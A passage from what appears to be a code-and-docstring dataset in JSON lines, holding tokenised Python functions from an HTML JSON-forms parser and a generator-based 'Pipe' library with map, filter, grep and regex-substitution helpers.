path)<EOL>steps.append(JsonStep(<EOL>type=\"<STR_LIT>\",<EOL>key=int(digit_match.group(<NUM_LIT:1>)),<EOL>))<EOL>continue<EOL><DEDENT>key_match = key_re.match(path)<EOL>if key_match:<EOL><INDENT>path = key_re.sub(\"<STR_LIT>\", path)<EOL>steps.append(JsonStep(<EOL>type=\"<STR_LIT:object>\",<EOL>key=key_match.group(<NUM_LIT:1>),<EOL>))<EOL>continue<EOL><DEDENT>return failed<EOL><DEDENT>next_step = None<EOL>for step in reversed(steps):<EOL><INDENT>if next_step:<EOL><INDENT>step.next_type = next_step.type<EOL><DEDENT>else:<EOL><INDENT>step.last = True<EOL><DEDENT>next_step = step<EOL><DEDENT>return steps<EOL>", "docstring": "Parse a string as a JSON path\nAn implementation of \"steps to parse a JSON encoding path\"\nhttp://www.w3.org/TR/html-json-forms/#dfn-steps-to-parse-a-json-encoding-path", "id": "f2250:m1"}
{"signature": "def set_json_value(context, step, current_value, entry_value, is_file):", "body": "<EOL>if isinstance(context, list) and isinstance(step.key, int):<EOL><INDENT>undefined_count = step.key - len(context) + <NUM_LIT:1><EOL>if undefined_count > <NUM_LIT:1000>:<EOL><INDENT>raise ParseException(\"<STR_LIT>\")<EOL><DEDENT>elif undefined_count > <NUM_LIT:0>:<EOL><INDENT>context += [Undefined()] * undefined_count<EOL><DEDENT><DEDENT>if step.last:<EOL><INDENT>if isinstance(current_value, Undefined):<EOL><INDENT>key = step.key<EOL>if isinstance(context, dict) and isinstance(key, int):<EOL><INDENT>key = str(key)<EOL><DEDENT>if step.append:<EOL><INDENT>context[key] = [entry_value]<EOL><DEDENT>else:<EOL><INDENT>context[key] = entry_value<EOL><DEDENT><DEDENT>elif isinstance(current_value, list):<EOL><INDENT>context[step.key].append(entry_value)<EOL><DEDENT>elif isinstance(current_value, dict) and not is_file:<EOL><INDENT>return set_json_value(<EOL>context=current_value,<EOL>step=JsonStep(type=\"<STR_LIT:object>\", key=\"<STR_LIT>\", last=True),<EOL>current_value=current_value.get(\"<STR_LIT>\", Undefined()),<EOL>entry_value=entry_value,<EOL>is_file=is_file,<EOL>)<EOL><DEDENT>else:<EOL><INDENT>context[step.key] = [current_value, entry_value]<EOL><DEDENT>return context<EOL><DEDENT>if isinstance(current_value, Undefined):<EOL><INDENT>if step.next_type == \"<STR_LIT>\":<EOL><INDENT>context[step.key] = []<EOL><DEDENT>else:<EOL><INDENT>context[step.key] = {}<EOL><DEDENT>return context[step.key]<EOL><DEDENT>elif isinstance(current_value, dict):<EOL><INDENT>return get_value(context, step.key, Undefined())<EOL><DEDENT>elif isinstance(current_value, list):<EOL><INDENT>if step.next_type == \"<STR_LIT>\":<EOL><INDENT>return current_value<EOL><DEDENT>obj = {}<EOL>for i, item in enumerate(current_value):<EOL><INDENT>if not isinstance(item, Undefined):<EOL><INDENT>obj[str(i)] = item<EOL><DEDENT><DEDENT>context[step.key] = obj<EOL>return obj<EOL><DEDENT>else:<EOL><INDENT>obj = {'<STR_LIT>': current_value}<EOL>context[step.key] = obj<EOL>return obj<EOL><DEDENT>", "docstring": "Apply a JSON value to a context object\nAn implementation of \"steps to set a JSON encoding value\"\nhttp://www.w3.org/TR/html-json-forms/#dfn-steps-to-set-a-json-encoding-value", "id": "f2250:m2"}
{"signature": "def get_value(obj, key, default=None):", "body": "if isinstance(obj, dict):<EOL><INDENT>return obj.get(key, default)<EOL><DEDENT>elif isinstance(obj, list):<EOL><INDENT>try:<EOL><INDENT>return obj[key]<EOL><DEDENT>except IndexError:<EOL><INDENT>return default<EOL><DEDENT><DEDENT>", "docstring": "Mimic JavaScript Object/Array behavior by allowing access to nonexistent\nindexes.", "id": "f2250:m3"}
{"signature": "def clean_undefined(obj):", "body": "if isinstance(obj, list):<EOL><INDENT>return [<EOL>None if isinstance(item, Undefined) else item<EOL>for item in obj<EOL>]<EOL><DEDENT>if isinstance(obj, dict):<EOL><INDENT>for key in obj:<EOL><INDENT>obj[key] = clean_undefined(obj[key])<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Convert Undefined array entries to None (null)", "id": "f2250:m4"}
{"signature": "def clean_empty_string(obj):", "body": "if obj == '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>if isinstance(obj, list):<EOL><INDENT>return [<EOL>None if item == '<STR_LIT>' else item<EOL>for item in obj<EOL>]<EOL><DEDENT>if isinstance(obj, dict):<EOL><INDENT>for key in obj:<EOL><INDENT>obj[key] = clean_empty_string(obj[key])<EOL><DEDENT><DEDENT>return obj<EOL>", "docstring": "Replace empty form values with None, since the is_html_input() check in\nField won't work after we convert to JSON.\n(FIXME: What about allow_blank=True?)", "id": "f2250:m5"}
{"signature": "def get_all_items(obj):", "body": "if hasattr(obj, '<STR_LIT>'):<EOL><INDENT>items = []<EOL>for key in obj:<EOL><INDENT>for value in obj.getlist(key):<EOL><INDENT>items.append((key, value))<EOL><DEDENT><DEDENT>return items<EOL><DEDENT>else:<EOL><INDENT>return obj.items()<EOL><DEDENT>", "docstring": "dict.items() but with a separate row for each value in a MultiValueDict", "id": "f2250:m6"}
{"signature": "def register_type(item_type, item_creator):", "body": "Pipe.pipe_item_types[item_type] = item_creator<EOL>", "docstring": "Register data type to Pipe class. Check :py:meth:`Pipe.__or__` and\n    :py:meth:`Pipe.__ror__` for detail.\n\n    :param item_type: The type of data object which used in pipe cascading.\n    :param item_creator: A function to convert data to Pipe object.", "id": "f2258:m0"}
{"signature": "def unregister_type(item_type):", "body": "if item_type not in Pipe.pipe_item_types:<EOL><INDENT>return<EOL><DEDENT>del Pipe.pipe_item_types[item_type]<EOL>", "docstring": "Unregister data type from Pipe class. Check Pipe.__or__ and Pipe.__ror__ for\n    detail.\n\n    :param item_type: The type of data object which used in pipe cascading.", "id": "f2258:m1"}
{"signature": "def unregister_all_types():", "body": "Pipe.pipe_item_types.clear()<EOL>", "docstring": "Unregister all data types from Pipe class.", "id": "f2258:m2"}
{"signature": "def has_registered_type(item_type):", "body": "return item_type in Pipe.pipe_item_types<EOL>", "docstring": "Check if item_type is registered or not.\n\n    :param item_type: The type to be checked.\n    :returns: True: The item_type is registered. False: The item_type is not registered.\n    :rtype: bool", "id": "f2258:m3"}
{"signature": "def get_item_creator(item_type):", "body": "if item_type not in Pipe.pipe_item_types:<EOL><INDENT>for registered_type in Pipe.pipe_item_types:<EOL><INDENT>if issubclass(item_type, registered_type):<EOL><INDENT>return Pipe.pipe_item_types[registered_type]<EOL><DEDENT><DEDENT>return None<EOL><DEDENT>else:<EOL><INDENT>return Pipe.pipe_item_types[item_type]<EOL><DEDENT>", "docstring": "Get item creator according registered item type.\n\n    :param item_type: The type of item to be checed.\n    :type item_type: types.TypeType.\n    :returns: Creator function. None if type not found.", "id": "f2258:m4"}
{"signature": "def __init__(self, func, *args, **kw):", "body": "self.__name__ = func.__name__<EOL>self.__doc__ = func.__doc__<EOL>self.func = func<EOL>self.next = None<EOL>self.chained = False<EOL>self.args = args<EOL>self.kw = kw<EOL>", "docstring": "Constructor of Pipe. It takes first argument as a generator function.\n        args and kw are default arguments to be used if the Pipe object is\n        cascaded directly. The default arguments are replaced by the arguments of\n        __call__ operator.\n\n        :param self: self reference.\n        :param func: The generator function to be be wrapped.\n        :param args: The default arguments to be used for generator function.\n        :param kw:  The default keyword arguments to be used for generator function.", "id": "f2258:c1:m0"}
{"signature": "def __or__(self, next):", "body": "if not isinstance(next, Pipe):<EOL><INDENT>item_creator = get_item_creator(type(next))<EOL>if item_creator is None:<EOL><INDENT>raise UnregisteredPipeType(type(next))<EOL><DEDENT>next = item_creator(next)<EOL><DEDENT>clone = self.clone()<EOL>if not next.chained:<EOL><INDENT>clone.append(next)<EOL><DEDENT>else:<EOL><INDENT>clone.append(next(*next.args, **next.kw))<EOL><DEDENT>return clone<EOL>", "docstring": "Set operand of right-hand side to be next Pipe object. Type convertion\n        will be applied automatically if next is not a Pipe object and its type\n        is registered in Pipe.pipe_item_types. Otherwise, UnregisteredPipeType\n        will be raised.\n\n        :param next: The next Pipe object to be cascaded.\n        :type next: Pipe object or any object whose type is registered.\n\n        :returns: The clone of self.", "id": "f2258:c1:m1"}
{"signature": "def __ror__(self, prev):", "body": "if not isinstance(prev, Pipe):<EOL><INDENT>item_creator = get_item_creator(type(prev))<EOL>if item_creator is None:<EOL><INDENT>raise UnregisteredPipeType(type(prev))<EOL><DEDENT>prev = item_creator(prev)<EOL><DEDENT>return prev.__or__(self)<EOL>", "docstring": "Set operand of left-hand side to be previous Pipe object. Type\n        convertion will be applied automatically if prev is not a Pipe object\n        and its type is registered in Pipe.pipe_item_types. Otherwise,\n        UnregisteredPipeType will be raised.\n\n        :param prev: The previous Pipe object which used to cascade this object.\n        :type prev: Pipe object or any object whose type is registered.\n\n        :returns: previous Pipe object.", "id": "f2258:c1:m2"}
{"signature": "def __call__(self, *args,**kw):", "body": "clone = self.clone()<EOL>clone.chained = False<EOL>clone.args = args;<EOL>clone.kw = kw<EOL>return clone<EOL>", "docstring": "A Pipe object to be called means self-cloning with new default\n        arguments.\n\n        :param args: The default arguments to be used for generator function.\n        :param kw:  The default keyword arguments to be used for generator function.\n\n        :returns: The clone of self.", "id": "f2258:c1:m3"}
{"signature": "def clone(self):", "body": "new_object = copy.copy(self)<EOL>if new_object.next:<EOL><INDENT>new_object.next = new_object.next.clone()<EOL><DEDENT>return new_object<EOL>", "docstring": "Self-cloning. All its next Pipe objects are cloned too.\n\n        :returns: cloned object", "id": "f2258:c1:m4"}
{"signature": "def append(self, next):", "body": "next.chained = True<EOL>if self.next:<EOL><INDENT>self.next.append(next)<EOL><DEDENT>else:<EOL><INDENT>self.next = next<EOL><DEDENT>", "docstring": "Append next object to pipe tail.\n\n        :param next: The Pipe object to be appended to tail.\n        :type next: Pipe object.", "id": "f2258:c1:m5"}
{"signature": "def __iter__(self):", "body": "return self.iter()<EOL>", "docstring": "Make iterator.\n\n        :returns: iterator object.", "id": "f2258:c1:m6"}
{"signature": "def iter(self, prev=None):", "body": "if self.next:<EOL><INDENT>generator = self.next.iter(self.func(prev, *self.args, **self.kw))<EOL><DEDENT>else:<EOL><INDENT>generator = self.func(prev, *self.args, **self.kw)<EOL><DEDENT>return generator<EOL>", "docstring": "Return an generator as iterator object.\n\n        :param prev: Previous Pipe object which used for data input.\n        :returns: A generator for iteration.", "id": "f2258:c1:m7"}
{"signature": "def run(self):", "body": "last_data = None<EOL>for last_data in self.iter():<EOL><INDENT>pass<EOL><DEDENT>return last_data<EOL>", "docstring": "Execute the cascading pipe and return the last data processed by\n        pipes.\n\n        :returns: The last processed data.", "id": "f2258:c1:m8"}
{"signature": "def result(self):", "body": "return list(self.iter())<EOL>", "docstring": "Execute the cascading pipe and return a list which contains all\n        processed data.\n\n        :returns: The list of processed data.\n        :rtype: list", "id": "f2258:c1:m9"}
{"signature": "@staticmethod<EOL><INDENT>def func(generator):<DEDENT>", "body": "return Pipe(generator)<EOL>", "docstring": "Wrap a generator function to Pipe object.\n\n        :param generator: The generator function to be wrapped.\n        :type generator: generator\n        :returns: Pipe object", "id": "f2258:c2:m0"}
{"signature": "@staticmethod<EOL><INDENT>def map(func):<DEDENT>", "body": "def wrapper(prev, *argv, **kw):<EOL><INDENT>if prev is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for i in prev:<EOL><INDENT>yield func(i, *argv, **kw)<EOL><DEDENT><DEDENT>return Pipe(wrapper)<EOL>", "docstring": "Wrap a map function to Pipe object. Map function is a function with\n        at least one argument. It is used to convert data. The first argument\n        is the data to be converted. The return data from map function will\n        be sent to next generator.\n\n        :param func: The map function to be wrapped.\n        :type func: function object\n        :param args: The default arguments to be used for map function.\n        :param kw:  The default keyword arguments to be used for map function.\n        :returns: Pipe object", "id": "f2258:c2:m1"}
{"signature": "@staticmethod<EOL><INDENT>def filter(func):<DEDENT>", "body": "def wrapper(prev, *argv, **kw):<EOL><INDENT>if prev is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for i in prev:<EOL><INDENT>if func(i, *argv, **kw):<EOL><INDENT>yield i<EOL><DEDENT><DEDENT><DEDENT>return Pipe(wrapper)<EOL>", "docstring": "Wrap a filter function to Pipe object. Filter function is a function\n        with at least one argument. It is used to determine if the data can pass.\n        The first argument is the data to be converted. The return data from\n        filter function should be a boolean value. If true, data can pass.\n        Otherwise, data is omitted.\n\n        :param func: The filter function to be wrapped.\n        :type func: function object\n        :param args: The default arguments to be used for filter function.\n        :param kw:  The default keyword arguments to be used for filter function.\n        :returns: Pipe object", "id": "f2258:c2:m2"}
{"signature": "@staticmethod<EOL><INDENT>def reduce(func):<DEDENT>", "body": "def wrapper(prev, *argv, **kw):<EOL><INDENT>accum_value = None if '<STR_LIT>' not in kw else kw.pop('<STR_LIT>')<EOL>if prev is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for i in prev:<EOL><INDENT>accum_value = func(accum_value, i, *argv, **kw)<EOL><DEDENT>yield accum_value<EOL><DEDENT>return Pipe(wrapper)<EOL>", "docstring": "Wrap a reduce function to Pipe object. Reduce function is a function\n        with at least two arguments. It works like built-in reduce function.\n        It takes first argument for accumulated result, second argument for\n        the new data to process. A keyword-based argument named 'init' is\n        optional. If init is provided, it is used for the initial value of\n        accumulated result. Or, the initial value is None.\n\n        The first argument is the data to be converted. The return data from\n        filter function should be a boolean value. If true, data can pass.\n        Otherwise, data is omitted.\n\n        :param func: The filter function to be wrapped.\n        :type func: function object\n        :param args: The default arguments to be used for filter function.\n        :param kw: The default keyword arguments to be used for filter function.\n        :returns: Pipe object", "id": "f2258:c2:m3"}
{"signature": "@staticmethod<EOL><INDENT>def stopper(func):<DEDENT>", "body": "def wrapper(prev, *argv, **kw):<EOL><INDENT>if prev is None:<EOL><INDENT>raise TypeError('<STR_LIT>')<EOL><DEDENT>for i in prev:<EOL><INDENT>if func(i, *argv, **kw):<EOL><INDENT>break<EOL><DEDENT>yield i<EOL><DEDENT><DEDENT>return Pipe(wrapper)<EOL>", "docstring": "Wrap a conditoinal function(stopper function) to Pipe object.\n\n        wrapped function should return boolean value. The cascading pipe will\n        stop the execution if wrapped function return True.\n\n        Stopper is useful if you have unlimited number of input data.\n\n        :param func: The conditoinal function to be wrapped.\n        :type func: function object\n        :param args: The default arguments to be used for wrapped function.\n        :param kw:  The default keyword arguments to be used for wrapped function.\n        :returns: Pipe object", "id": "f2258:c2:m4"}
{"signature": "def run(cmd):", "body": "return cmd.run()<EOL>", "docstring": "Run pipe object and return its last result.\n\n    :param cmd: The Pipe object to be executed.\n    :type cmd: Pipe\n    :returns: The last result.\n\n    .. seealso::\n        :py:meth:`cmdlet.Pipe.run`", "id": "f2259:m0"}
{"signature": "def result(cmd):", "body": "return cmd.result()<EOL>", "docstring": "Run pipe object and return its result in a list.\n\n    :param cmd: The Pipe object to be executed.\n    :type cmd: Pipe\n    :returns: The list which contains the result of pipe.\n\n    .. seealso::\n        :py:meth:`cmdlet.Pipe.result`", "id": "f2259:m1"}
{"signature": "@pipe.func<EOL>def seq(prev, sequence):", "body": "for i in sequence:<EOL><INDENT>yield i<EOL><DEDENT>", "docstring": "Pipe wrapper for any iterable object.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param sequence: The iterable object to be wrapped.\n    :type sequence: iterator\n    :returns: generator", "id": "f2259:m2"}
{"signature": "@pipe.func<EOL>def items(prev, dict_obj):", "body": "for kv in dict_obj.items():<EOL><INDENT>yield kv<EOL><DEDENT>", "docstring": "Pipe wrapper for any dict object.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param dict_obj: The dict object to be wrapped.\n    :type dict_obj: dict\n    :returns: generator", "id": "f2259:m3"}
{"signature": "@pipe.func<EOL>def attr(prev, attr_name):", "body": "for obj in prev:<EOL><INDENT>if hasattr(obj, attr_name):<EOL><INDENT>yield getattr(obj, attr_name)<EOL><DEDENT><DEDENT>", "docstring": "attr pipe can extract attribute value of object.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param attr_name: The name of attribute\n    :type attr_name: str\n    :returns: generator", "id": "f2259:m4"}
{"signature": "@pipe.func<EOL>def attrs(prev, attr_names):", "body": "for obj in prev:<EOL><INDENT>attr_values = []<EOL>for name in attr_names:<EOL><INDENT>if hasattr(obj, name):<EOL><INDENT>attr_values.append(getattr(obj, name))<EOL><DEDENT><DEDENT>yield attr_values<EOL><DEDENT>", "docstring": "attrs pipe can extract attribute values of object.\n\n    If attr_names is a list and its item is not a valid attribute of\n    prev's object. It will be excluded from yielded dict.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param attr_names: The list of attribute names\n    :type attr_names: str of list\n    :returns: generator", "id": "f2259:m5"}
{"signature": "@pipe.func<EOL>def attrdict(prev, attr_names):", "body": "if isinstance(attr_names, dict):<EOL><INDENT>for obj in prev:<EOL><INDENT>attr_values = dict()<EOL>for name in attr_names.keys():<EOL><INDENT>if hasattr(obj, name):<EOL><INDENT>attr_values[name] = getattr(obj, name)<EOL><DEDENT>else:<EOL><INDENT>attr_values[name] = attr_names[name]<EOL><DEDENT><DEDENT>yield attr_values<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for obj in prev:<EOL><INDENT>attr_values = dict()<EOL>for name in attr_names:<EOL><INDENT>if hasattr(obj, name):<EOL><INDENT>attr_values[name] = getattr(obj, name)<EOL><DEDENT><DEDENT>yield attr_values<EOL><DEDENT><DEDENT>", "docstring": "attrdict pipe can extract attribute values of object into a dict.\n\n    The argument attr_names can be a list or a dict.\n\n    If attr_names is a list and its item is not a valid attribute of\n    prev's object. It will be excluded from yielded dict.\n\n    If attr_names is dict and the key doesn't exist in prev's object.\n    the value of corresponding attr_names key will be copy to yielded dict.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param attr_names: The list or dict of attribute names\n    :type attr_names: str of list or dict\n    :returns: generator", "id": "f2259:m6"}
{"signature": "@pipe.func<EOL>def flatten(prev, depth=sys.maxsize):", "body": "def inner_flatten(iterable, curr_level, max_levels):<EOL><INDENT>for i in iterable:<EOL><INDENT>if hasattr(i, '<STR_LIT>') and curr_level < max_levels:<EOL><INDENT>for j in inner_flatten(i, curr_level + <NUM_LIT:1>, max_levels):<EOL><INDENT>yield j<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT><DEDENT>for d in prev:<EOL><INDENT>if hasattr(d, '<STR_LIT>') and depth > <NUM_LIT:0>:<EOL><INDENT>for inner_d in inner_flatten(d, <NUM_LIT:1>, depth):<EOL><INDENT>yield inner_d<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield d<EOL><DEDENT><DEDENT>", "docstring": "flatten pipe extracts nested item from previous pipe.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param depth: The deepest nested level to be extracted. 0 means no extraction.\n    :type depth: integer\n    :returns: generator", "id": "f2259:m7"}
{"signature": "@pipe.func<EOL>def values(prev, *keys, **kw):", "body": "d = next(prev)<EOL>if isinstance(d, dict):<EOL><INDENT>yield [d[k] for k in keys if k in d]<EOL>for d in prev:<EOL><INDENT>yield [d[k] for k in keys if k in d]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield [d[i] for i in keys if <NUM_LIT:0> <= i < len(d)]<EOL>for d in prev:<EOL><INDENT>yield [d[i] for i in keys if <NUM_LIT:0> <= i < len(d)]<EOL><DEDENT><DEDENT>", "docstring": "values pipe extract value from previous pipe.\n\n    If previous pipe send a dictionary to values pipe, keys should contains\n    the key of dictionary which you want to get. If previous pipe send list or\n    tuple,\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :returns: generator", "id": "f2259:m8"}
{"signature": "@pipe.func<EOL>def counter(prev):", "body": "count = <NUM_LIT:0><EOL>for data in prev:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>yield count<EOL>", "docstring": "counter pipe count how many data pass from previous pipe.\n\n    This pipe will dropped all received data and return counting value after\n    last data.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param dict_obj: The dict object to be wrapped.\n    :type dict_obj: dict\n    :returns: generator", "id": "f2259:m9"}
{"signature": "@pipe.func<EOL>def enum(prev, start=<NUM_LIT:0>):", "body": "for data in enumerate(prev, start):<EOL><INDENT>yield data<EOL><DEDENT>", "docstring": "enum pipe wrap the built-in function *enumerate*. It passes a tuple\n    to next pipe. The tuple contains a count(from start which defaults to 0)\n    and the values passed from previous pipe.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param start: The start value of enumeration.\n    :type start: integer\n    :returns: generator", "id": "f2259:m10"}
{"signature": "@pipe.func<EOL>def pack(prev, n, rest=False, **kw):", "body": "if '<STR_LIT>' in kw:<EOL><INDENT>use_padding = True<EOL>padding = kw['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>use_padding = False<EOL>padding = None<EOL><DEDENT>items = []<EOL>for i, data in enumerate(prev, <NUM_LIT:1>):<EOL><INDENT>items.append(data)<EOL>if (i % n) == <NUM_LIT:0>:<EOL><INDENT>yield items<EOL>items = []<EOL><DEDENT><DEDENT>if len(items) != <NUM_LIT:0> and rest:<EOL><INDENT>if use_padding:<EOL><INDENT>items.extend([padding, ] * (n - (i % n)))<EOL><DEDENT>yield items<EOL><DEDENT>", "docstring": "pack pipe takes n elements from previous generator and yield one\n    list to next.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param rest: Set True to allow to output the rest part of last elements.\n    :type prev: boolean\n    :param padding: Specify the padding element for the rest part of last elements.\n    :type prev: boolean\n    :returns: generator\n\n    :Example:\n    >>> result([1,2,3,4,5,6,7] | pack(3))\n    [[1, 2, 3], [4, 5, 6]]\n\n    >>> result([1,2,3,4,5,6,7] | pack(3, rest=True))\n    [[1, 2, 3], [4, 5, 6], [7,]]\n\n    >>> result([1,2,3,4,5,6,7] | pack(3, padding=None))\n    [[1, 2, 3], [4, 5, 6], [7, None, None]]", "id": "f2259:m11"}
{"signature": "@pipe.func<EOL>def format(prev, format_string):", "body": "for i in prev:<EOL><INDENT>yield (format_string % i)<EOL><DEDENT>", "docstring": "The pipe formats the data passed from previous generator according to\n    given format_string argument.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param format_string: format string which used to format the data from\n                          previous iterator.\n    :type sequence: str\n    :returns: generator", "id": "f2259:m12"}
{"signature": "@pipe.func<EOL>def grep(prev, pattern, *args, **kw):", "body": "inv = False if '<STR_LIT>' not in kw else kw.pop('<STR_LIT>')<EOL>pattern_obj = re.compile(pattern, *args, **kw)<EOL>for data in prev:<EOL><INDENT>if bool(inv) ^ bool(pattern_obj.match(data)):<EOL><INDENT>yield data<EOL><DEDENT><DEDENT>", "docstring": "The pipe greps the data passed from previous generator according to\n    given regular expression.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The pattern which used to filter out data.\n    :type pattern: str|unicode|re pattern object\n    :param inv: If true, invert the match condition.\n    :type inv: boolean\n    :param kw:\n    :type kw: dict\n    :returns: generator", "id": "f2259:m13"}
{"signature": "@pipe.func<EOL>def match(prev, pattern, *args, **kw):", "body": "to = '<STR_LIT:to>' in kw and kw.pop('<STR_LIT:to>')<EOL>pattern_obj = re.compile(pattern, *args, **kw)<EOL>if to is dict:<EOL><INDENT>for data in prev:<EOL><INDENT>match = pattern_obj.match(data)<EOL>if match is not None:<EOL><INDENT>yield match.groupdict()<EOL><DEDENT><DEDENT><DEDENT>elif to is tuple:<EOL><INDENT>for data in prev:<EOL><INDENT>match = pattern_obj.match(data)<EOL>if match is not None:<EOL><INDENT>yield match.groups()<EOL><DEDENT><DEDENT><DEDENT>elif to is list:<EOL><INDENT>for data in prev:<EOL><INDENT>match = pattern_obj.match(data)<EOL>if match is not None:<EOL><INDENT>yield list(match.groups())<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for data in prev:<EOL><INDENT>match = pattern_obj.match(data)<EOL>if match is not None:<EOL><INDENT>yield match<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "The pipe greps the data passed from previous generator according to\n    given regular expression. The data passed to next pipe is MatchObject\n    , dict or tuple which determined by 'to' in keyword argument.\n\n    By default, match pipe yields MatchObject. Use 'to' in keyword argument\n    to change the type of match result.\n\n    If 'to' is dict, yield MatchObject.groupdict().\n    If 'to' is tuple, yield MatchObject.groups().\n    If 'to' is list, yield list(MatchObject.groups()).\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The pattern which used to filter data.\n    :type pattern: str|unicode\n    :param to: What data type the result should be stored. dict|tuple|list\n    :type to: type\n    :returns: generator", "id": "f2259:m14"}
{"signature": "@pipe.func<EOL>def resplit(prev, pattern, *args, **kw):", "body": "maxsplit = <NUM_LIT:0> if '<STR_LIT>' not in kw else kw.pop('<STR_LIT>')<EOL>pattern_obj = re.compile(pattern, *args, **kw)<EOL>for s in prev:<EOL><INDENT>yield pattern_obj.split(s, maxsplit=maxsplit)<EOL><DEDENT>", "docstring": "The resplit pipe split previous pipe input by regular expression.\n\n    Use 'maxsplit' keyword argument to limit the number of split.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The pattern which used to split string.\n    :type pattern: str|unicode", "id": "f2259:m15"}
{"signature": "@pipe.func<EOL>def sub(prev, pattern, repl, *args, **kw):", "body": "count = <NUM_LIT:0> if '<STR_LIT:count>' not in kw else kw.pop('<STR_LIT:count>')<EOL>pattern_obj = re.compile(pattern, *args, **kw)<EOL>for s in prev:<EOL><INDENT>yield pattern_obj.sub(repl, s, count=count)<EOL><DEDENT>", "docstring": "sub pipe is a wrapper of re.sub method.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The pattern string.\n    :type pattern: str|unicode\n    :param repl: Check repl argument in re.sub method.\n    :type repl: str|unicode|callable", "id": "f2259:m16"}
{"signature": "@pipe.func<EOL>def subn(prev, pattern, repl, *args, **kw):", "body": "count = <NUM_LIT:0> if '<STR_LIT:count>' not in kw else kw.pop('<STR_LIT:count>')<EOL>pattern_obj = re.compile(pattern, *args, **kw)<EOL>for s in prev:<EOL><INDENT>yield pattern_obj.subn(repl, s, count=count)<EOL><DEDENT>", "docstring": "subn pipe is a wrapper of re.subn method.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The pattern string.\n    :type pattern: str|unicode\n    :param repl: Check repl argument in re.sub method.\n    :type repl: str|unicode|callable", "id": "f2259:m17"}
{"signature": "@pipe.func<EOL>def wildcard(prev, pattern, *args, **kw):", "body": "import fnmatch<EOL>inv = '<STR_LIT>' in kw and kw.pop('<STR_LIT>')<EOL>pattern_obj = re.compile(fnmatch.translate(pattern), *args, **kw)<EOL>if not inv:<EOL><INDENT>for data in prev:<EOL><INDENT>if pattern_obj.match(data):<EOL><INDENT>yield data<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>for data in prev:<EOL><INDENT>if not pattern_obj.match(data):<EOL><INDENT>yield data<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "wildcard pipe greps data passed from previous generator\n    according to given regular expression.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param pattern: The wildcard string which used to filter data.\n    :type pattern: str|unicode|re pattern object\n    :param inv: If true, invert the match condition.\n    :type inv: boolean\n    :returns: generator", "id": "f2259:m18"}
{"signature": "@pipe.func<EOL>def stdout(prev, endl='<STR_LIT:\\n>', thru=False):", "body": "for i in prev:<EOL><INDENT>sys.stdout.write(str(i) + endl)<EOL>if thru:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT>", "docstring": "This pipe read data from previous iterator and write it to stdout.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param endl: The end-of-line symbol for each output.\n    :type endl: str\n    :param thru: If true, data will passed to next generator. If false, data\n                 will be dropped.\n    :type thru: bool\n    :returns: generator", "id": "f2259:m19"}
{"signature": "@pipe.func<EOL>def stderr(prev, endl='<STR_LIT:\\n>', thru=False):", "body": "for i in prev:<EOL><INDENT>sys.stderr.write(str(i) + endl)<EOL>if thru:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT>", "docstring": "This pipe read data from previous iterator and write it to stderr.\n\n    :param prev: The previous iterator of pipe.\n    :type prev: Pipe\n    :param endl: The end-of-line symbol for each output.\n    :type endl: str\n    :param thru: If true, data will passed to next generator. If false, data\n                 will be dropped.\n    :type thru: bool\n    :returns: generator", "id": "f2259:m20"}
